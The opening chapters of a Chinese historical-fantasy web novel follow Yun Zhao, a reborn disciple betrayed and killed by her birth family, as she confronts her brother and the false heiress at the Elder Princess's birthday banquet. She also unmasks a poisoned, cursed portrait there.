《惨死认亲日,嫡女夺回凤命杀疯了》
第1章 他们,可还活着?
春深日暖,杨柳拂堤。
马车辘辘前行,云昭轻轻掀起车帘一角,目光掠过那座渐行渐远的朱门府邸——
姜家……那个前世她曾满怀孺慕、一心想要寻回的“家”!
记忆如潮水漫涌。
初见兄长姜珩那日,他满面惊喜,目光灼灼似含泪光:
“整整十六年!母亲日夜以泪洗面,父亲遍寻天下!没想到你竟成了清微谷的高徒!阿昭,你真是给了为兄天大的惊喜……”
那时的她,满心沉浸在骨肉团聚的喜悦里,全然未觉姜珩眼底深藏的冰冷与算计。
当夜,清微谷便陷入滔天火海。
黑衣人如鬼魅般屠戮,见人便杀,逢屋便烧!
她敬如亲父的师父,情同手足的师弟师妹……一个个倒在她眼前,惨叫声不绝于耳!
而她,因被下了化功散,浑身绵软无力,只能眼睁睁看着那柄淬毒长剑刺穿她的胸膛。鲜血汩汩涌出时,她看见姜珩踏火而来,“救”下了奄奄一息的她。
她曾天真地以为,被兄长救下是上苍给予她的最后怜悯。却不知,回归姜家之后,才是真正噩梦的开始。
那间不见天日的暗室,成了豢养她这“药人”的囚笼,也成了姜绾心登临凤位的垫脚石:
第一日姜珩就来了。他依旧温声唤她“阿昭”,手中冰冷的**却毫不犹豫刺入她心口,取走心头血,滴入那块她自幼佩戴的玉佩。
“心儿需要这玉佩认主,”他拭去**血迹,语气平静得令人齿寒,“你既身负凤格,这血便是最好的引子。”
不久后,姜绾心于皇家围场“舍身”为太子挡下惊马一箭,“福星”美名传遍京城。
而暗室中的她,胸口莫名出现一个血洞,剧痛蚀骨。
他们冷笑着将沾血的刑具扔在她面前:“阿昭,不想看着你大师兄被剁掉手指吧?还是你想先听听你三师兄的惨叫?”
那声音如同**进耳膜:“阿昭,你不想看到你师兄们活着走出去吗?”
于是她只能忍。鞭痕、烙印、刀伤……旧疤未愈,又添新伤。
直到姜绾心与太子大婚前夜,他们将她像破布一样拖入冰室。
她赤身被铁链锁在冰床,冻得肌肤青紫;而纱幔相隔的另一边,姜绾心正慵懒卧在铺着锦貂的暖榻上,披着大红嫁衣,珠翠环绕,容光焕发。
她周身插满银管,眼睁睁看着自己的血液被一点点抽干。
姜绾心把玩着嫁衣上的明珠,语气轻慢如逗弄蝼蚁,“要怪,就怪你生来命贱,却偏占了这身凤格。你的血,就该为我铺就这锦绣前程。”
最后一次见到天光,是姜珩再次出现在暗室。
他站在门边,逆光的身影挺拔如松,说出的话却让她如坠冰窟:“心儿中了恶咒,她身子弱受不住。你既然时日无多,就最后再帮兄长一次。”
她蜷缩在角落,气若游丝:“我师兄……他们,可还活着?”
姜珩闻言,竟低低地轻笑出声,那笑声在空旷的石室里回荡,显得格外狰狞:“你问的是哪个?
是被乱刀砍成肉泥的大师兄?还是被我亲手抽干血液的三师兄?亦或是……被野狗啃得连块整骨都没剩下的二师兄?”
他俯下身,用指尖抬起她枯瘦的下颌,语气带着一丝戏谑:“你们清微谷的人,骨头倒是都一样硬。不过,多亏了她想到这个由头,不然,你怎么会心甘情愿地撑到现在?”
所有的恶咒尽数反噬到了云昭身上。
不过一夜,她浑身长满毒疮,脓血浸透了身下的草席。
无边的黑暗里,她甚至分不清昼夜,只能在痛苦中期盼死亡的降临。
不知过了多久,暗室的门又一次打开,一个身影快步走近,将一件尚带体温的外袍轻轻覆在她破碎的身躯上。
“速去请闻空大师!”那声音低沉微哑,带着她从未听过的惊惶与急切。
她竭力想看清来人,视线却
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已模糊,只依稀瞥见他腰间悬着一只莹润的白玉小猪。
……
车厢内,白玉小猪的挂件在她眼前轻轻晃动。
但真正吸引云昭的,是那上面一缕极淡的残魂。
抬起眼,映入眼帘的是一张棱角分明、俊美得近乎凌厉的容颜。最慑人的是那双凤眸,深邃如寒潭,此刻正带着审视与探究,居高临下地睨着她。
“长公主府春日宴,本王可允你随行。”
萧启眸中掠过一丝毫不掩饰的讥诮,“姜世安,朝廷新贵,圣前红人。其嫡女姜绾心,誉满京师,深得太后喜爱。”
他语带深意,“姜家门楣光鲜,却不易攀附。你欲认亲,恐是一厢情愿。”
云昭忽然开口:“殿下近来,可是在暗中寻一位年幼的女孩?”
萧启目光骤然锋锐如鹰隼:“你从何得知?”
“民女自有知晓之法。”云昭迎着他的目光,毫无惧色,“若殿下助我,我必倾力相助,探寻这位小姑娘的下落。”
他审视着云昭,沉吟片刻,终是开口:“三年前,长公主**嘉乐郡主于上元灯节离奇失踪,生不见人,死不见尸。”
此次他受姑母所托,前往青州寻人,但他去晚了一步,清微谷早已沦为一片焦土。
“清微谷已化为焦土,殿下所寻之人,都已不在世上了。”云昭神色静沉,看不出半点波澜:“殿下可否为我引荐长公主?”
萧启眸光深邃,看着她道:“但长公主厌憎姜世安已久,你若开罪于她,京城,便是你的埋骨之地!”
云昭淡声道:“放心,我不仅死不了,还会让姜家堂堂正正迎我回家。”
她瞥了萧启一眼,唇角勾起一抹极淡的弧度:“毕竟,殿下身上的恶诅,普天之下除了我,无人能解。我若**,殿下也活不成。”
车厢里氛围瞬间凝滞,几乎冻成冰。
云昭却不再看对方一眼,利落地掀开车帘,跃下马车。
第2章 白日见鬼
公主府,春日宴。
云昭肤光胜雪,容颜秾丽,甫一下车,便格外引人注目。
四周贵女们皆被惊艳,有人低声惊叹:“这便是秦王殿下亲寻的那位小医仙?果然姿容不凡!”
“她发间的羊脂白玉红宝簪,该不会是金缕阁那件镇店之宝吧!难道是秦王殿下所赠?”
“瞧着不过及笄之年,能通什么岐黄之术?心儿可不信。”身着樱草色软烟罗裙的少女轻蹙黛眉,貌若青荷初绽,语声娇柔,“况且既为医者,这般盛装艳饰,未免失了本分……”
这便是姜绾心——姜珩捧在心尖上的妹妹,姜家倾尽心血娇养的假千金!
立时有贵女掩口附和:
“瞧着就是个贪慕虚荣的女子!”
“说不准,想借此攀个秦王外室当一当呢!”
三言两语间,这些贵女就被姜绾心的意有所指,引起了对云昭的轻蔑与敌意。
云昭眸光流转,故意自上至下打量姜绾心一番,唇角似笑非笑:
“你面色青中透白,肝郁!
唇色淡而微紫,心虚!
这般体质,我劝姑娘还是少费些心思搬弄口舌,否则——恐怕难延嗣续。”
这是说她难生养?!
谁不知道近来京中盛传的八卦之一,就是姜尚书府的嫡女有望嫁入东宫?
这话若是传到宫中,可就有意思了!
众人当即哗然,几个与姜绾心不睦的贵女已掩袖低笑。
姜绾心盛名满京,走到哪都是众人称赞,何曾受过这等奇耻大辱!
她猛地伸手欲抓住云昭衣袖:“你站住!”
谁知云昭似早有预料,步履轻移间裙裾翩跹,恰避开她的擒拿。
姜绾心用力过猛骤然扑空,惊呼着向前栽去!
恰在此时,一道修颀如竹的清隽身影迅疾而至,稳稳扶住险些狼狈摔倒的姜绾心。
来人身着月白锦袍,眉目清隽如画,正是素有“兰台公子”美誉的姜珩。
他长眉紧蹙,面染薄霜,正要斥责何人敢如此无礼,抬首瞬间,却猛地对上了云昭的目光。
姜珩面色骤变,恍若白日见鬼。
那张明艳灼人的面孔,分明就是三个月前他亲手逼落悬崖的嫡亲妹妹!
彼时云昭满门皆殁,她明明已被他下了化功散,却能以血为咒,骤然起身,朝他笑着飞身落入悬崖。
那般诡异景象,至今令他夜夜惊梦!
连姜绾心都察觉他的僵硬,轻扯了扯他的衣袖:“兄长,怎么了?”
云昭似笑非笑,直视着他,一字一句清晰道:“又见面了,兄长。”
这一声“兄长”,叫得姜珩浑身一颤。
“兄长?”姜绾心蹙眉,视线在云昭和姜珩之间来回逡巡,“你们……见过?她为何也称你兄长?”
姜珩已强自镇定下来,语气冰冷:“不过是个妄图攀附富贵的乡野女子罢了。心儿,你性子纯善,离这等居心叵测之人远些。”
“乡野女子?”云昭轻笑,“那日初见,兄长可不是这样说的。”
姜珩猛地上前一步。
碍于众目睽睽,他压低声线,疾言厉色地警告:“休要痴心妄想,追来京城亦是徒劳!姜家,绝不会认你这来历不明的野种!姜家千金,唯绾心一人,此生不会更改!”
“话可别说太满,兄长。”云昭悠悠一笑,眸光冷冽,“我还等着你抬轿铺路,恭恭敬敬迎我回家呢!”
身后,姜绾心与几位闺秀频频侧目。
有人疑道:“不是说,她是秦王请来的?怎与兰台公子也似旧识?”
姜绾心轻轻摇首:“我家兄长,向来洁身自好。”
姜珩前不久才被圣上钦点为新科状元,兰台公子,出了名的清冷不染尘俗,京中不少闺秀,对他芳心暗许。
立即有人附和:“定是那姓云的女子不知廉耻,蓄意纠缠!”
姜绾心没说话,揪着手帕的指尖却渐渐攥紧,她身姿楚楚地上前:“兄长?”
云昭侧过脸,朝她翘了翘唇,转身便走。
姜珩低声道:“心儿,兄长还需应酬几位大人,你先去入座。”
“嗯。”姜绾心乖巧应声,目送兄长挺拔清冷的背影。
旋即,她目光一转,如淬毒的针,刺向云昭。
云昭却似全然未觉,步履从容,月华般的裙裾拂过青石。
这般一而再、再而三的无视,彻底刺痛了这位素来被捧在云端的姜家明珠。
云昭刚走出几步,身后便传来一声压抑着怒气的低喝:“给我站住!”
前方不远宾客如云,靠近古树的一隅却似无人留意。
姜绾心眸中厉色一闪,竟自袖中抽出一柄赤红欲滴的珊瑚折扇,挟着风声直朝云昭脸上抽去!
云昭似背后生眼,反手轻巧一格一推。
姜绾心只觉手腕一麻,手中那柄太
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后御赐的珊瑚折扇,竟反朝身后脱手——
“啪”的一声,正正掴在一旁低头经过的婢女脸上!
婢女痛呼了声,脚下踉跄,手中捧着的紫檀妆盒应声坠地!
盒盖弹开,一支流光溢彩的点翠羽簪摔落而出。
其中最华美的一根翠蓝鸟羽,竟从当中裂开!
不知是谁尖叫了一声,热热闹闹的棠棣苑,霎时一片死寂,所有人的目光都朝这边望来。
在场无人不知,这是长公主最宝贵的发簪,因这簪上的鸟羽,是嘉乐郡主八岁那年在围场亲手射落、亲手挑选……
婢女眼角至颧骨被扇骨刮出一道狰狞血痕,她却浑然不觉疼痛,只死死盯着那断羽,浑身抖若筛糠。
姜绾心也吓得愣住!
但很快,她扶起婢女:
“殿下息怒!心儿没能拿稳御扇,致使婢女受惊,摔坏了宝簪……”
她一边说,一边怯生生瞥向云昭,“云姑娘并非有意,她初来乍到,想是不懂京中规矩,才不小心绊倒了心儿。
殿下要罚就罚心儿吧,万万不要牵连他人……”
这番主动揽责的话,如同投入油锅的火星,瞬间点燃了周遭贵女们澎湃的“正义感”。
“心儿,你何必为这种粗鄙之人开脱!分明是有人不知礼数,故意冲撞!”
“正是!若非被人蓄意算计,怎会将御赐之宝轻易脱手?”
三言两语,所有过错便被巧妙地引向云昭,将她置于众矢之的。
不远处正与几位大臣攀谈的姜珩脸色冷漠,看向云昭的双目,透出一种刻骨的嫌恶。
另一边,一袭杏黄常服的太子萧鉴安然端坐,温润如玉的脸上,透出几分关切之意。
长公主目光痛惜地掠过断簪,继而化为冰冷的怒火:“本宫生辰宴上,摔落御赐之物,损毁郡主遗珍——
云昭!你该当何罪?!”
贵女之中,已响起毫不掩饰的嗤笑与议论:
“竟是秦王殿下引荐而来?真是平白带累了殿下的清誉!这等不知所谓的人,合该立刻撵出京城!”
“滚?未免太便宜她了!御前失仪,损毁御物,不好好受上五十脊杖,岂能轻易了事?”
每一句嘲讽,每一道目光,都如同无形的枷锁,层层叠叠地将云昭紧紧缠绕。
她知道,若此刻不能破局,莫说复仇,便是自身,也将陷入万劫不复之地。
第3章 十年一卜,只批凤命
“殿下容禀。”云昭福身行礼,语速虽快却字字清晰,“民女确有几句话,不吐不快。”
她转而看向姜绾心:“姜小姐,你我今日不过初见,我为何要故意绊倒你?”
说着,她唇角挂起一抹刺眼的笑:“还是说,因为我身为医者的几句良言规劝,就让你记恨至今?”
此言一出,在场的议论纷纷之中,夹杂着几个贵女的轻笑声。
“这小医仙之前说,姜小姐肝郁心虚,不宜生养……”
“真的?天呐,那岂不是……”
众人的关注点,迅速从到底是不是云昭故意使绊子,转移到了姜绾心能否生养的八卦上!
姜绾心当即涨红了脸:“你——!”
云昭叹了口气:“可能真是这样,否则方才姜小姐何必用御扇掌掴于我呢?我不过轻轻避开,那扇子就甩在了那位无辜的侍女脸上。”
姜绾心急道:“才不是这样,殿下……”
不远处,太子若有所思地在姜绾心娇怯无助的脸上停留了片刻。
“姑母息怒。”太子温声开口,“事发突然,还需细查。”
姜绾心潸然落泪:“殿下,事情绝不是她说的那样,心儿冤枉!”
“够了!”长公主冷声打断,她并非昏聩之人,但宝簪毁损仍是事实,她心头烦闷,
“纵使起因不在你,宝簪损毁亦是事实!此簪于本宫意义非凡,岂是口舌之争所能弥补?!”
“殿下,”云昭再次开口,声音沉稳如山,“若民女说,此簪尚有转圜余地呢?”
在所有人惊疑不定的目光中,她缓步上前,俯身拾起那支断裂的羽簪。
“民女不才,或可一试,为殿下修复此簪。”
“云姑娘。”姜绾心轻咬着唇,柔声劝道,“这宝簪是点翠工艺,碧霄鸟羽柔软易折,怕不是那么好修补的。”
“心儿,你管她作甚?”一旁着鹅黄衫子的贵女笑着道,“有些人啊,怕是没见过这等好东西,以为是用浆糊粘的呢!”
又有贵女道:“说不定等下就要说,需要针线缝一缝,真真儿是要笑**了!”
长公主面色微冷,看向云昭的目光,透出几分疑虑。
“姑母,既有人主动请缨,何不让她一试?”男子清冷威严的声音骤然响起。
众人循声望去。
来人一袭玄色暗金螭纹锦袍,龙行虎步。
面容是一种极具侵略的俊美,肤色冷白,凤眸深邃,让人如临寒潭,竟是多年不曾出席各种宴席的秦王萧启!
“真是稀奇!秦王……他竟出府了?”
“瞧着气色似比往年好些,难道这小医仙真有几分神通?”
席间低语窸窣,又迅速消弭于那迫人的威仪之下。
满座臣子公卿,谁人不知“玉面阎罗”性情冷戾,不喜交际?
在场这些人,竟谁也不敢率先开口问候。
长公主眼底漾开真切喜色,忙示意添座:“渊儿,过来姑母这边。”
待萧启入座,长公主看向云昭,盯着她问道:“你说能修复羽簪,有几分把握?”
“八成。”云昭眸光清定,不闪不避,“请殿下允民女一试。”
得到长公主的默许后,云昭凝神静气,金针轻挑。
一点金芒流转,似有灵犀暗渡。
众人只见那断裂的羽翎竟似被无形丝线牵引,竟以肉眼可见的速度缓缓弥合。
不过瞬息,羽簪已完好如初,碧蓝的色泽甚至更胜从前。
满场响起一片压不住的抽气声。
先前那几个出声指责云昭的贵女离得最近,个个瞠目结舌。
有人喃喃低语:“我怎么觉着,这小医仙……好像真是仙女下凡呀!”
连姜绾心都双眸微瞠,指尖不自觉地微颤,一张娇颜隐隐发白。
她下意识地望向长公主,可长公主的目光却已轻飘飘从她身上掠过,全副心神都凝在云昭身上。
不远处,一直关注着这边的姜珩,见状面色陡沉。
他目光一转,看到姜绾心小脸苍白,整个人似风中蒲柳,摇摇欲坠,顿时心疼不已。
周嬷嬷疾步上前,双手微颤地接过羽簪,仔细查验后,难以置信地奉予长公主。
长公主抚摸着光滑如初的羽翎,眼中震惊与欣喜交织,面上尽是失而复得的庆幸。
“给本宫戴上罢。”
周嬷嬷上前,簪好羽簪,悄然朝那受伤的婢女轻轻摆手示意。
婢女感激地望了云昭一眼,低头疾步退下。
“来人,赐座,就坐在本宫身旁。”长公主性情飒爽,毫不掩饰对云昭的激赏与好奇,
“看来,渊儿寻来的这位小医仙,果然有几分玄妙。”
太子也抚掌轻叹:“妙哉!果真神乎其技!”
唯有秦王,唇角几不可察地微微上扬了一下,随即又恢复了惯常的冷峻。
众贵女各自落座,长公主仿佛这才注意到姜绾心还孤零零地站在当中。
她目光淡淡扫去:“姜姑娘也受惊了,回去好生歇着吧。”
姜绾心轻声应是,强撑着柔弱的身子入席,指甲狠狠掐入掌心,目光悄然看向坐在长公主身畔的云昭。
不想云昭也定定瞧着她,旋即,目光又意有所指地落在她掌中的珊瑚宝扇。
姜绾心下意识
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地将宝扇攥紧,紧抿着唇,垂下眼帘。
*
今日适逢长公主生辰宴,各府贺礼纷呈。
各家贵女也有所表现,名为寿礼,实则多为展露才学——
只因早有风声,今年春日宴的彩头,乃是一个月后碧云寺佛诞日的第一炷香。
宰相之女宋白玉,率先送上《百寿图》。
百个不同字体的“寿”字巧妙汇聚成一个磅礴的大寿字,字字风骨清峻,引得长公主连连颔首称赞。
之后,有擅女红的贵女送上苏绣荷包,也有武将之女送上亲手挖来的千年老参……
不多时便轮到姜绾心。她盈盈起身,缓缓展开手中画卷。
画纸之上,牡丹盛放,秋千轻荡,其上粉雕玉琢的女童拈着一朵“魏紫”,回眸浅笑,眉眼明媚。
竟分明是那位失踪三年之久的嘉乐郡主!
满堂瞬间寂静,随即爆发出阵阵惊叹。
长公主端着琉璃盏的指尖微微发颤。
身子不由自主地前倾,胶着在画卷上的双目涌起恍惚之色。
就连素有“京中第一才女”之称的宋白玉也自愧弗如:
“心儿妹妹此画,匠心独运,情意深重,白玉甘拜下风。”
周遭贵女们交换着眼神,羡慕、嫉妒、了然皆有——
在场这些人,谁不知那碧云寺第一炷香的机缘?
闻空大师十年一卜,只批凤命。
此前得此殊荣的,无不是母仪天下或命格极贵之人。
今年这春日宴的彩头,足以让所有女人疯狂,却显然要花落姜家了!
一道素影倏然上前!
云昭端起案前那盏犹带温热的清茶,手腕一扬,毫不迟疑地将整盏茶水泼向那幅画作!
“哗啦——”
茶水浸透宣纸,墨色晕染开来。
画作之上,小郡主灵动的笑靥、连同那朵惟妙惟肖的盛放魏紫,顷刻间模糊成一团混沌的污渍,再也看不清原本模样。
满堂宾客倒抽一口冷气,惊骇的低呼此起彼伏。
谁不知长公主二嫁驸马,夫妻俩从前最宝贝的就是这位嘉乐郡主!
且自三年前嘉乐郡主在上元灯节失踪,长公主四处寻人,行迹疯魔,甚至为此还被姜尚书为首的清流屡次参到陛下面前!
捧在心尖上的宝贝女儿失踪三年,难得见到一幅画工如此精妙的肖像,却突然被毁,可以想见长公主会有多震怒!
“放肆!”
长公主勃然变色,猛地拍案而起,胸膛剧烈起伏,她伸手指着云昭,指尖因极致的愤怒而微微颤抖:
“你怎敢——!来人,给本宫把她拿下!”
第4章 速将此女拿下!
“殿下!”云昭朝众人疾声道,“这幅画不对劲!还请诸位速速退开,不要再围在此处!”
“云姑娘,你为何一再折辱于我?”姜绾心眼圈一红,一开口已带出哭腔,“此前你处处为难也就罢了,如今竟连我献给殿下的寿礼也要毁去?”
二房姑娘姜绾宁也跟着诉道:“殿下不知,长姐为了能画好这画,食不下咽,夜不能寝,一连熬了两个多月,人都清减了……”
姜绾心眼角含泪:“别说了。”
坐在男宾席位不得上前的姜珩,早已心急如焚,强自忍耐,才未在殿前失仪。
“不知所谓。”长公主满面戾气,看着云昭的眼神也透出厌憎,“来人,把她拖出去!”
侍卫应声上前。
“殿下——!”云昭无视逼近的侍卫,声音清冷如冰刃,劈开满堂喧嚣:“此画初看令人心旷神怡,时日稍久,心神便会被这画上的邪气侵染,渐渐沦为傀儡……”
“什么傀儡?她在胡说什么!”
“瞧着一副仙气飘飘的模样,居然如此恶毒,明知道殿下心系嘉乐郡主,竟还敢当众毁画。”
“还不是仗着秦王殿下引荐……”
这话脱口而出,说话人已觉出不妙,抬眼一瞧,秦王视线冰冷,如在看一个**。
那人身子一软,“噗通”一声跪在地上。
云昭却并不在意周遭外物如何,她目光紧锁住长公主眉心那缕不断积聚的猩红戾气,心头微沉。
这画分明是个局,专为针对长公主而来!且不知幕后之人动了什么手脚,起效比她预料的还要快!
“殿下!”
眼见两名侍卫疾冲而来,云昭手腕一抖,银鞭如灵蛇出洞巧妙地缠住二人臂膀,借力一送——
两名高大壮硕的侍卫,竟如断线的风筝,被轻飘飘地“送”了出去,踉跄数步方才站稳。
在场众人都被云昭这一手鞭子震惊!
太子皱了皱眉,不赞同的目光投向萧启。
不想萧启薄唇轻翘,眸中竟明明白白写满惊艳之色。
太子:“……”
长公主气的指尖颤抖:“反了!真是反了!渊儿这是给本宫请来了个什么煞星!”她当即下令,让更多侍卫上前拿人。
云昭却趁此间隙,一把扣住周嬷嬷的手腕,不容分说地将她的手摁在晕成一团的油墨上。
众人谁都没想到她会有此举动,一时都惊呆了。
云昭动作利落,转眼,又握着周嬷嬷沾染油墨的手,浸入一旁案上用来净手的水盆中!
“嗬!嗬!”周嬷嬷突然面红目赤,手舞足蹈起来,脸上簌簌滚下泪水,嘴上却道,“殿下,老奴、老奴没想哭,但就是管不住自己……”
满堂骇然寂静。
姜绾心身旁的丫鬟衣袖轻拂,云昭见状高声道:“来人!把画举起来,别再让他人触碰!”
先前那个献人参的武将之女反应极快,伸长的手臂,赶在所有人之前,高举卷起的画卷:“小医仙!我拿到了!”
云昭又看向长公主:“殿下想必也有相熟的御医,若不信我所说,请来御医,一验便知。”
这幅画存在的问题,当然远不止于此。但对于没有玄术的普通人而言,让他们去验毒是最一目了然的做法。
云昭此时只庆幸,这做局之人玄术本事不高、所图却大,才在下咒的同时,还在颜料中混合了烈性的迷情之物。
思及此,云昭又看向长公主。
当务之急,除了让长公主相信自己所言,还有她身上所中咒术……
恰在这时,长公主发间羽簪忽然发出一声极其轻微、却异常清越的颤鸣,仿佛玉磬轻
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击!
簪首最长的那根靛蓝鸟羽,骤然脱离簪体,化作一道肉眼几乎无法捕捉的幽蓝流光!
其速快逾闪电,带着一股纯净凛冽的破邪之意,精准无比地刺向姜绾心案上那幅画!
“嗤——!”
一声轻响,如同热炭入雪,流光般的鸟羽,正正钉入那朵糊成一团的魏紫正中!
羽尖触纸的瞬间,画纸上那层惑人的、令人心旷神怡的华美光晕如同被戳破的泡沫,骤然溃散!
一切异象就发生在眼前,众人或惊或惧,呆在当场!
云昭却清晰地“看到”,一个穿着鹅黄襦裙的小姑娘显出身形,双眸怒睁,以一种维护的姿势,紧紧环住长公主的腰身。
长公主突然掩额踉跄,唇间溢出一声模糊的呓语:“娘的宝珠……”
随即眼睫一颤,软软晕厥过去!
“殿下——!”
“护驾!快传太医!”
坐在案前的太子豁然起身,动作却快不过一旁飞身上前护住长公主的秦王!
惊呼声、杯盘碎裂声、桌椅翻倒声……顷刻间,水榭之内乱作一团。
云昭快速拔掉最后一根金针,几滴浓黑的污血自周嬷嬷拇指与中指指尖沁出。
周嬷嬷脸上的潮红迅速褪去,眼神虽仍带着些许恍惚,却已恢复了清明。
她如同护崽的老母鸡般,猛地扑到昏厥的长公主身前,张开双臂死死护住:
“老奴在此!谁敢动殿下,先从我尸身上踏过去!”
“是她!”姜绾心使出浑身力气叫了一声,整个人像是怕到了极致,忍不住地浑身颤抖,
“殿下的宝簪,是她方才动了手脚!”
姜珩快步上前,一把拖起云昭的手,朝周围喊道:
“来人!此女居心叵测,意图谋害殿下!速将此女拿下!”
第5章 秦王一脚踢晕渣兄长
几名侍卫应声上前,刀锋寒光凛冽,直指云昭。
就在这时,一道玄色身影如疾风般掠至!
众人只觉眼前一花,秦王已猛地抬腿,携着千钧之势,狠狠一脚踹在擒拿着云昭不放的姜珩胸口——
“砰”的一声闷响!
姜珩竟被这一脚直接踹飞出去,重重砸落在阶下。
有口皆碑的“兰台公子”,无数京中闺秀的梦中少年郎,此刻却官袍沾尘,玉冠歪斜,狼狈不堪。
他惊怒交加地抬起头,却正对上萧启那双森寒彻骨的凤眸!
姜珩脸色骤变,眉眼间尽是难以置信的惊骇与**,他猛地咳出一口血,竟当场晕了过去。
萧启负手而立,冷眼俯瞰,周身煞气如有实质。
每一个被他目光触及的人,都如被冰水浇头,噤若寒蝉。
他声音不高,却字字透着令人胆寒的戾气:“本王的人,谁敢动手!”
玉面阎罗的名号岂是虚传?这位先帝留下的唯一血脉,身上的战功与荣耀,是一场接一场硬仗打下来的,是从尸身血海里趟出来的!
侍卫们纷纷跪地垂首,冷汗涔涔;满座公卿更是头皮发麻,无人敢言。
太子勉强维持着储君仪态,却也脸色发青。
唯有姜绾心温声细语,小心翼翼地开口:“可今日众人都看见了,唯有云姑娘借修补羽翎之名,触碰过殿下的宝簪。”
围在她身旁的众贵女纷纷点头。
姜绾心眸色幽幽,看着云昭:“怪不得云姑娘今日处处针对,致使宝簪坠地……原来早有图谋。”
周嬷嬷闻言,缓缓抬首,看向姜绾心。
姜绾心见状,愈发柔婉,轻声问:“嬷嬷,你好好想一想,今日您是否也碰过那宝簪?方才殿下也因宝簪晕厥,证据确凿——”
“请嬷嬷细想。”云昭清冷的声音打断了姜绾心的指控,“您方才心神失守前,究竟碰过何物?可曾闻到异样气息?”
周嬷嬷喘着粗气,她猛地扭头,目光死死盯在那幅被茶水泼湿、墨迹晕染的画卷。
“是……是那幅画!”周嬷嬷嘶声,指尖颤抖着指向那幅画。
“适才云姑娘拽过老奴的手,强行按向这画,一股很怪的甜香蹿入鼻窍……之后,老奴便心神恍惚,如被魇住!”
云昭颔首,转而看向惊疑不定的众人:“殿下突发晕厥,正是吸入这画**粉所致。”
姜绾心连连摇头,珠泪零落,“分明是你在宝簪动了手脚,如今事情败露,便想嫁祸于我的寿礼。”
她泣不成声,“太可怕了,世上怎会有你这样恶毒的女子……”
姜绾心本就才貌双全,誉满京华,这般凄楚姿态,顿时引来满座怜惜,质疑与厌恶的目光,如根根利箭,刺向云昭。
“是吗?”云昭毫无惧色,“既如此,何不即刻请太医验看此画,再诊殿下脉象,**与否,立见分晓!”
就在姜绾心与云昭针尖对麦芒的当口,萧启已将长公主扶至凤纹宝座之上。
云昭主动上前,欲为长公主诊脉。
太子却面露不豫:“姑母千金之躯,岂能让来历不明之人随意施针?若有闪失,谁能担待?”
身后,几个大臣当即躬身附和:
“太子殿下所言极是!此女年纪轻轻,瞧着比老臣的孙女还要小几岁,哪里像是医者?”
“江湖术法,怎可轻信!长公主千金之躯,秦王殿下,三思啊!”
萧启神色已冰冷至极。
正在此时,一道微弱却清晰的声音自人身后响起:
“让……让她试试……”
众人循声望去,只见长公主不知何时已微微睁眼,对护在身边的周嬷嬷轻声耳语几句。
周嬷嬷抬首,扬声道:“殿下有令,准云昭姑娘即刻施针。”
云昭领命上前,周嬷嬷则唤来婢女,暂以屏风相隔。
云昭俯身为长公主切脉,察其面色,随即铺开针灸囊,取出当中最细的一根金针,精准刺入长公主眉心印堂,轻捻缓提。
随后,第二针、第三针,分取百会、神庭二穴。
片刻,长公主紧蹙的眉头缓缓舒展,喉间发出一声舒适的喟叹,悠悠转醒。
长公主睁开眼,神情恍惚,她下意识地握着云昭的手,喃喃道:“本宫方才,好似又瞧见了宝珠……”
周嬷嬷后怕不已,连忙看向云昭:“云姑娘,殿下这是怎么了?可是那毒没排干净?”
她刚刚已亲身领教过毒粉的厉害,又见云昭一举一动,沉稳澹然,不自觉就将她当成了主心骨。
“放心,一切有我。”云昭
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神情自若:“方才殿下**不深,我又及时施以金针,如今殿下已无恙了。”
她从容取出一枚早已备好的黄符,轻轻放入长公主手中:“云昭初来京城,听闻殿下今日生辰,特备此物,作为贺礼。”
迎着长公主略显惊讶的目光,云昭声音温和,透着一股安定人心的力量:“殿下今夜就寝,可将此符安置枕下,或可安心凝神,解开心结。”
屏风之外,众人只闻其声,难见其详。
太子声音略显急切地响起:“可是姑母醒了?”
长公主握紧黄符,轻轻摆手,示意撤去屏风。
*
众人见长公主虽面色略显倦怠,但双眸清明,气息平稳,竟似已无大碍。
守在一旁的萧启,紧绷的下颌几不可察地略略松弛。
亲眼看着姑母转危为安,那双深不见底的凤眸,难以抑制地掠过一丝慰藉与庆幸。
长公主是他唯一在意的至亲,也是如今世上唯一真心关心他的人,若姑母今日真的有何不测……他眸光微暗,不敢深想。
而救下姑母的,竟是这个他一时兴起从边地带回的小女子……
萧启的目光不由落在云昭身上。
“姑母,御医到了。为保险起见,还是让御医诊过脉吧!”太子坚持让御医诊过平安脉,才肯安心。
两位御医领命上前,诊脉后,相视一眼,恭敬回禀:
“殿下脉象平稳,较之往日,似乎更为康健有力,想来是近来心境开阔的缘故。殿下只需继续保持好心情,风体自然无忧。”
太子这时忽而追问:“姑母体内,可有余毒未清?”
两名御医连连摇首:
“并无**迹象。”
“殿下脉象平和,何来**一说?”
太子轻蹙起眉心,开口道:“姑母晕倒一事,想必是误会一场。方才姑母昏迷时,御医已查验过画作,确认无毒。”
言罢,他似无意地瞥了立在长公主身旁的云昭一眼。
众人的目光一时又落回云昭身上。
“我就说嘛,果然是有人故弄玄虚!”
“故意说出那样危言耸听的话,是想吓唬谁呢?平白毁了姜家小姐精心准备的寿礼!”
“这还当着两位殿下的面呢,也敢撒谎,真是胆大包天!”
第6章 渣爹登场维护假千金
云昭冷眼望着这些人沆瀣一气的嘴脸,心底一片早知如此的冷意:
在这些贵人眼中,只要利益一致,对也是错,黑也是白。
他人的清白、性命,都是不值一提的东西。
且不说长公主的脉象理应能诊出**,就是那幅画,随便街上找一位坐堂大夫查验,都能验出其中的问题。
她不由将目光落在温润如玉的太子身上。
这一世她重生的时机并不算太好。
彼时清微谷满门皆死,姜珩正欲将她带走,而她仓促之下只来得及滚落悬崖,利用谷中秘术,勉强自保。
看姜绾心如今有恃无恐的模样,不难猜测,她与太子的婚事,应当好事将近了。
她想踏平姜家,讨回公道,将清微谷惨死的真相大白于天下——
姜绾心与太子的这桩婚事,必须落空!
“画作毁了不妨事,只要殿下凤体安康,臣女就是再画十幅,也甘之如饴。”
姜绾心咬着唇,绽开娇柔笑靥,“只求殿下莫要听信谗言,误会了臣女一片孝心。”
长公主唇角噙着一丝淡笑:“太子殿下明察秋毫,金口玉言,既说此画无毒,本宫岂会不信?”
姜绾心闻言,面露欣喜,正欲开口,却听长公主话锋一转,
“然则——周嬷嬷癫狂失态,终究是因触碰你这画作而起。更不必说,此前你殿前失仪,以太后御赐宝扇,毁伤本宫府中婢女容颜。”
长公主长眸微眯,威压尽显:“姜绾心,你可知罪?”
姜绾心浑身一颤,难以置信地抬首,眼中瞬间盈满泪水:“殿下!”
不仅是姜绾心,在场许多贵女都流露出吃惊之色,想不明白长公主之前都没怪罪,为何此时又突然旧事重提。
